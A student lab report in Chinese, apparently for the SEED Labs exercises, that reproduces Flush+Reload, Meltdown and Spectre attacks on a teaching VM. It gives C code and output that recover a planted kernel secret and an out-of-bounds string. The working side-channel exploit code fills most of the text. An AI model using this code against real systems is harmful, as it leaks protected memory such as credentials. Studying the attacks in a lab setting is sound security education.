Lab2 Spectre & Meltdown

Meltdown

Task 1

- **Flush+Reload 攻击**

  检查一个缓存行是否在缓存中，一种常见的侧信道攻击。

  - **刷新:**
    - 使用 `__mm_clflush` 指令强制 CPU 将缓存逐出到更低层级（可能是内存）。
    - 刷新 *数组*
  - **重新加载:**
    - 测量每次内存访问所花费的时间
    - 最快的那次访问应该是受害者刚刚访问过的。

Task1实现反映缓存命中和缓存未命中之间的访问时间差异，并确定一个可以区分这两种情况的时间阈值。

采用代码如下：

```
int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;

  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;

  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;

  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0;
}
```

使用4096的步长是为了确保访问的每个元素都位于不同的内存页和不同的缓存行上，避免它们之间的相互影响。__mm_clflush` 指令强制 CPU 将指定的缓存行从所有级别的缓存中驱逐出去，写回内存。array[34096] = 100; array[74096] = 200只访问了索引为 3 和 7 的元素使其所在的缓存行被加载到了 CPU 缓存中。再检测读取内存的用时，检查差别。

```
[11/23/25]seed@VM:~/.../Meltdown$ ./CacheTime
Access time for array[0*4096]: 1934 CPU cycles
Access time for array[1*4096]: 262 CPU cycles
Access time for array[2*4096]: 250 CPU cycles
Access time for array[3*4096]: 61 CPU cycles
Access time for array[4*4096]: 260 CPU cycles
Access time for array[5*4096]: 252 CPU cycles
Access time for array[6*4096]: 268 CPU cycles
Access time for array[7*4096]: 63 CPU cycles
Access time for array[8*4096]: 254 CPU cycles
Access time for array[9*4096]: 307 CPU cycles
```

可以看出检索3和7的时间要比其他的小很多，说明缓存命中要比不命中的访问快很多。

Task 2

task2给出的情景是从一个无法直接读取的变量secret中窃取值。受害函数内部使用了一个机密值 secret 来访问一个数组，攻击者无法直接读取 secret。可以用task1的FLUSH+RELOAD技术来推断出secret的值。步骤为：刷新后执行访问数组的操作，导致缓存行被加载到缓存中。 遍历所有 256 个可能的索引i，测量访问array[i*4096 + DELTA]的时间。通过找出那个访问时间短的唯一索引，可以推断secret的值。代码如下：

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>

uint8_t array[256*4096];
int temp;
unsigned char secret = 94;

/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void victim()
{
  temp = array[secret*4096 + DELTA];
```

```
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
     addr = &array[i*4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD){
         printf("array[%d*4096 + %d] is in cache.\n",i,DELTA);
         printf("The Secret = %d.\n",i);
     }
  }
}

int main(int argc, const char **argv)
{
  flushSideChannel();
  victim();
  reloadSideChannel();
  return (0);
}
```

由于 CPU 行为复杂，需要多次运行测试。结果如下，可以得到secret的正确的结果94。

```
[11/23/25]seed@VM:~/.../Meltdown$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

偶尔会出现下种错误情况，因为设置的80的阈值太小了，像task1里面放到200次则全都正确。

```
array[235*4096 + 1024] is in cache.
The Secret = 235.
array[236*4096 + 1024] is in cache.
The Secret = 236.
array[240*4096 + 1024] is in cache.
The Secret = 240.
array[241*4096 + 1024] is in cache.
The Secret = 241.
array[246*4096 + 1024] is in cache.
The Secret = 246.
array[247*4096 + 1024] is in cache.
The Secret = 247.
array[251*4096 + 1024] is in cache.
The Secret = 251.
array[252*4096 + 1024] is in cache.
The Secret = 252.
```

Task3

在操作系统内核空间中放置一个秘密数据，并获取该数据在内核中的内存地址，同时确保该数据被缓存到 CPU 缓存中。

内核模块是一种可以动态加载到操作系统内核中运行的代码，拥有最高的权限，可以访问所有内存和硬件资源。

dmesg是一个用于打印和控制内核环形缓冲区内容的命令。内核使用 printk函数将日志信息写入这个缓冲区，dmesg可以将其显示出来。

查看MeltdownKernel.c，可以看出在内核空间的一个全局静态数组中定义了秘密字符串 "SEEDLabs"。模块初始化代码test_proc_init打印秘密地址，分配一块内存在内核作为缓冲区，创建proc 入口作为接口。当用户程序打开/proc/secret_data文件时，会调用test_proc_open。当用户程序读取/proc/secret_data文件时，会调用read_proc。read_proc函数将将秘密数据复制到另一个内核缓冲区secret_buffer中，因此可以攻击。

```
[11/23/25]seed@VM:~/.../Meltdown$ make
make -C /lib/modules/5.4.0-54-generic/build M=/home/seed/Desktop/Lab2/Meltdown modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-54-generic'
  CC [M]  /home/seed/Desktop/Lab2/Meltdown/MeltdownKernel.o
  Building modules, stage 2.
  MODPOST 1 modules
WARNING: modpost: missing MODULE_LICENSE() in /home/seed/Desktop/Lab2/Meltdown/MeltdownKern
el.o
see include/linux/module.h for more information
  CC [M]  /home/seed/Desktop/Lab2/Meltdown/MeltdownKernel.mod.o
  LD [M]  /home/seed/Desktop/Lab2/Meltdown/MeltdownKernel.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-54-generic'
[11/23/25]seed@VM:~/.../Meltdown$ sudo insmod MeltdownKernel.ko
[11/23/25]seed@VM:~/.../Meltdown$ dmesg | grep 'secret data address'
[12597.343133] secret data address:000000002de55309
```

编译后加载内存模块，用dmesg命令查看内核日志可以得到秘密信息地址为000000002de55309。

Task4

虽然知道秘密地址，但在正常模式下，一个用户态程序无法直接读取内核空间的内存数据。

```
[11/23/25]seed@VM:~/.../Meltdown$ gcc -march=native task4.c -o task4
[11/23/25]seed@VM:~/.../Meltdown$ ./task4
Segmentation fault
```

Task5

exceptionhandling捕获并处理内存访问错误，防止程序崩溃，并使其能够从错误中恢复并继续执行。

错误时操作系统向进程发送SIGSEGV信号，操作系统不再默认终止程序，而是调用atch_segv函数。在catch_segv函数中，siglongjmp(jbuf, 1)被执行。程序状态立即跳转回第 2 步中sigsetjmp被调用的地方。程序再次从if (sigsetjmp(jbuf, 1) == 0)开始执行。但这一次，由于是通过siglongjmp跳转回来的，sigsetjmp的返回值变成了1。因为返回值是1，程序进入else代码块，正常执行后续并退出，没有发生崩溃。正常结果如下。

```
[11/23/25]seed@VM:~/.../Meltdown$ ./ExceptionHandling
Memory access violation!
Program continues to execute.
```

Task7

7.1 使用秘密数据作为偏移访问数组，代码修改如下：

```
void meltdown(unsigned long kernel_data_addr)
{
  char kernel_data = 0;

  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;
  array[kernel_data * 4096 + DELTA] += 1;
}
```

```
[11/23/25]seed@VM:~/.../Meltdown$ gcc -march=native MeltdownExperiment.c -o task7_1
[11/23/25]seed@VM:~/.../Meltdown$ ./task7_1
Memory access violation!
```

数据加载过慢，当安全检查完成时，内核数据仍然在从内存到寄存器的过程中，无序执行将立即中断和丢弃，所以无法获取内存secret。

7.2 改进想法为，加快数据加载：如果内核数据已经在CPU缓存中，那么将内核数据加载到寄存器中的速度会快得多。在main函数中添加以下代码，使得在启动攻击之前缓存kernel secret data：

```
// Open the /proc/secret_data virtual file.
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0)
{
  perror("open");
  return -1;
}
int ret = pread(fd, NULL, 0, 0); // Cause the secret data to be cached.
```

开始成功了，但成功率很低。因为即使数据在缓存中，权限检查的速度仍然非常快，竞争条件依然激烈。

7.3 在触发异常的指令之前，插入一段额外的汇编指令循环。这段代码能为内存访问操作的完成争取更多时间。让 CPU 的算术逻辑单元忙于计算，从而可能让加载单元更早地发出内存访问请求。用提供的函数替换之前meltdown函数。结果如下，测试成功率非常高：

```
[11/23/25]seed@VM:~/.../Meltdown$ ./task7_3
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
```

task8

再提高 Meltdown 攻击的准确性和可靠性，并扩展攻击以窃取多字节。

根据MeltDownAttack的代码先填写正确地址然后测试，发现是原来只能得到一个字节的功能。

```
[11/23/25]seed@VM:~/.../Meltdown$ ./MeltdownAttack
The secret value is 83 S
The number of hits is 955
```

为了让其能输出八个字节，加入循环，每次秘密地址往后增加1。代码如下：

```
for (int k = 0; k < 8; k++)
{
  memset(scores, 0, sizeof(scores));
  flushSideChannel();

  // Retry 1000 times on the same address.
  for (i = 0; i < 1000; i++)
  {
    ret = pread(fd, NULL, 0, 0);
    if (ret < 0)
    {
      perror("pread");
      break;
    }

    // Flush the probing array
    for (j = 0; j < 256; j++)
      _mm_clflush(&array[j * 4096 + DELTA]);
```

```
      if (sigsetjmp(jbuf, 1) == 0)
      {
        meltdown_asm(0xf90fc000 + k);   // 地址每次+1
      }

      reloadSideChannelImproved();
    }

    // Find the index with the highest score.
    int max = 0;
    for (i = 0; i < 256; i++)
    {
      if (scores[max] < scores[i])
        max = i;
    }

    printf("The secret value is %d %c\n", max, max);
    printf("The number of hits is %d\n", scores[max]);
  }
```

结果如下：

```
[11/23/25]seed@VM:~/.../Meltdown$ ./MeltdownAttack
The secret value is 83 S
The number of hits is 974
The secret value is 69 E
The number of hits is 935
The secret value is 69 E
The number of hits is 972
The secret value is 68 D
The number of hits is 961
The secret value is 76 L
The number of hits is 979
The secret value is 97 a
The number of hits is 964
The secret value is 98 b
The number of hits is 967
The secret value is 115 s
The number of hits is 977
```

Bonus 1

在没有CLFLUSH指令的情况下实现 Meltdown 攻击，修改函数flushSideChannel()，即手动代码完成驱逐缓存。

通过访问大量冲突的内存地址来填满CPU缓存组，从而迫使之前缓存的探测数组数据被自动驱逐出去。也就是访问当前数据的剩余7个同组数据，让其被驱逐。代码如下：

```
void flushSideChannel()
{
  int i;

  for (i = 0; i < 256; i++) {
      for (int way = 0; way < 8; way++) {
          volatile uint8_t *evict_addr = &array[(i + way * 256) % 256 * 4096 +
DELTA];
          uint8_t junk = *evict_addr;
      }
  }
}
```

Spectre

Task3

根据介绍，spectre攻击流程为：CPU 预测为真（实际为假），执行 访问敏感数据。发现预测错误，回滚执行但已访问数据仍在缓存中攻击者通过 FLUSH+RELOAD 发现索引被访问过，从而泄露敏感数据。

// _mm_clflush(&size); 注释掉这句后成功率降低很多，因为没有在cache中刷掉size，如果size在cache里，比起size在memory里访问速度快了非常多，加快了x与size的比较，使得在CPU在推测执行下一步的之前就得到了跳转预测失败的结果。

i替换成i+20之后基本不成功，因为修改后if判断始终不成立，CPU训练结果是一直不会进分支。所以在victim(97);后，CPU判断也不会进分支。

Task4

通过size_t index_beyond = (size_t)(secret - (char*)buffer);从缓冲区开始计算secret的偏移量，该偏移量是个负数，不在Buffer的下界和上界的范围内。

训练CPU，使其一直跳转到if成立的分支，使得CPU在无序执行中会返回buffer[index_beyond]，其中就包含了secret的值。虽然之后CPU会发现预测失败，restrictedAccess()返回0，但是缓存未被清理，array[s*4096+delta]仍然保存在缓存中。之后通过side-channel技术找出是array[]中的哪个元素。

```
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttack
secret: 0x80487a0
buffer: 0x804a024
index of secret (out of bound): -6276
array[0*4096 + 1024] is in cache.
The Secret = 0().
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
```

经过多次测试，得到了83。

Task5

```
Reading secret value at index -6012
The secret value is 0()
The number of hits is 986
```

直接编译后，得到的结果是0，因为spectreAttack中经常会因为restrictedAccess的返回值是0，导致array[0]一定会被访问，因此在函数中忽略0就可以了，代码如下：

```
void reloadSideChannelImproved()
{
  int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;

  for (i = 1; i < 256; i++) // 从1开始，scores[i]++时忽略0
  {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; /* if cache hit, add 1 for this value */
  }
}
```

结果如下，正确：

```
Reading secret value at index -6012
The secret value is 83(S)
The number of hits is 2
```

注释代码后在seed上面的结果如下，依旧正确：

```
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 3
```

挂起1：

```
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 9
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
^[[AReading secret value at index -6088
The secret value is 83(S)
The number of hits is 6
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 3
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 3
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 9
```

挂起10:

```
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 1
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 0()
The number of hits is 0
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 5
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 2
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 2
```

挂起100:

```
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 3
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 1
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 1
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 83(S)
The number of hits is 2
[11/23/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
Reading secret value at index -6088
The secret value is 0()
The number of hits is 0
```

挂起100基本在5以下，比1和10都小很多，因为usleep会挂起进程，执行进程的切换，可能进程切换比较慢，在切换前CPU已经乱序执行了一部分，访问了secret，然后再执行进程切换，使得判断跳转是否成立的步骤延后了，提高了成功率。

Task6

得到完整的secret字符串，改进main函数，代码如下：

```
int main()
{
  int i;
  uint8_t s;
  int secret_length = 0;
  size_t index_beyond;
  int max;

  while (secret_length < MAX_SECRET_LENGTH)
  {
    index_beyond = (size_t)(secret + secret_length - (char *)buffer);
    flushSideChannel();
    for (i = 0; i < 256; i++)
      scores[i] = 0;

    for (i = 0; i < 1000; i++)
    {
      spectreAttack(index_beyond);
      usleep(10);
      reloadSideChannelImproved();
    }

    max = 0;
```

```
    for (i = 0; i < 256; i++)
    {
      if (scores[max] < scores[i])
      {
        max = i;
      }
    }

    secret_length++;
    printf("The %dth secret value is %d -- %c\n", secret_length, max, max);
    printf("The number of hits is %d\n", scores[max]);
  }
  return (0);
}
```

为了获得长字符信息，控制循环直到提取完整个秘密字符串。secret_length记录已成功提取的字符数，MAX_SECRET_LENGTH是秘密字符串的最大长度，因为预设不知道是多长所以一开始#define MAX_SECRET_LENGTH 30，假设有30个字符。经过几次测试可以看出大概字符为SOME SECRET VALUE。

```
[12/03/25]seed@VM:~/.../Spectre$ ./SpectreAttackImproved
The 1th secret value is 83 -- S
The number of hits is 4
The 2th secret value is 111 -- o
The number of hits is 2
The 3th secret value is 109 -- m
The number of hits is 5
The 4th secret value is 101 -- e
The number of hits is 2
The 5th secret value is 0 --
The number of hits is 0
The 6th secret value is 83 -- S
The number of hits is 1
The 7th secret value is 101 -- e
The number of hits is 3
The 8th secret value is 99 -- c
The number of hits is 1
The 9th secret value is 114 -- r
The number of hits is 1
The 10th secret value is 101 -- e
The number of hits is 3
```

```
The 11th secret value is 116 -- t
The number of hits is 1
The 12th secret value is 0 --
The number of hits is 0
The 13th secret value is 86 -- V
The number of hits is 3
The 14th secret value is 97 -- a
The number of hits is 1
The 15th secret value is 108 -- l
The number of hits is 2
The 16th secret value is 117 -- u
The number of hits is 2
The 17th secret value is 101 -- e
The number of hits is 1
The 18th secret value is 0 --
The number of hits is 0
The 19th secret value is 0 --
The number of hits is 0
```

因此改成#define MAX_SECRET_LENGTH 20，根据上文的挂起时间测试，还是用10。

因正确率有限，故多测试几次，最后有正确结果如下。

```
The 1th secret value is 83 -- S
The number of hits is 1
The 2th secret value is 111 -- o
The number of hits is 3
The 3th secret value is 109 -- m
The number of hits is 3
The 4th secret value is 101 -- e
The number of hits is 3
The 5th secret value is 32 --
The number of hits is 5
The 6th secret value is 83 -- S
The number of hits is 2
The 7th secret value is 101 -- e
The number of hits is 2
The 8th secret value is 99 -- c
The number of hits is 2
The 9th secret value is 114 -- r
The number of hits is 3
The 10th secret value is 101 -- e
The number of hits is 3
The 11th secret value is 116 -- t
The number of hits is 1
The 12th secret value is 0 --
The number of hits is 0
The 13th secret value is 86 -- V
The number of hits is 1
The 14th secret value is 97 -- a
The number of hits is 2
The 15th secret value is 108 -- l
The number of hits is 2
The 16th secret value is 117 -- u
The number of hits is 6
The 17th secret value is 101 -- e
The number of hits is 1
The 18th secret value is 0 --
The number of hits is 0
The 19th secret value is 0 --
The number of hits is 0
The 20th secret value is 0 --
The number of hits is 0
```